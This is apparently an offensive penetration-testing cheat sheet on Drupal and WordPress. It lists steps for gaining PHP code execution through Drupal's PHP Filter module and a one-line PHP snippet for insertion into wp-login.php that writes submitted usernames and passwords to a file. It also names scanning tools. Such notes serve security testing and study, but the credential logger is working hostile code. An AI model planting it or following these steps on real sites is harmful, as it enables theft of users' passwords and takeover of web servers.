CMS
Drupal
PHP Code Execution
- Enable PHP Filter module on the Modules
- Add content then to Article
- Pasting PHP into the article body
- Changing the Text format to PHP code
- Clicking on Preview
Tools
Wordpress
Log passwords from wp-login.php
file_put_contents("creds.txt",$_POST['log']." - ".$_POST['pwd'])
Tools
- WPScan - https://github.com/wpscanteam/wpscan
- Droopescan - https://github.com/droope/droopescan
- wpBullet - Static code analysis for WordPress Plugins/Themes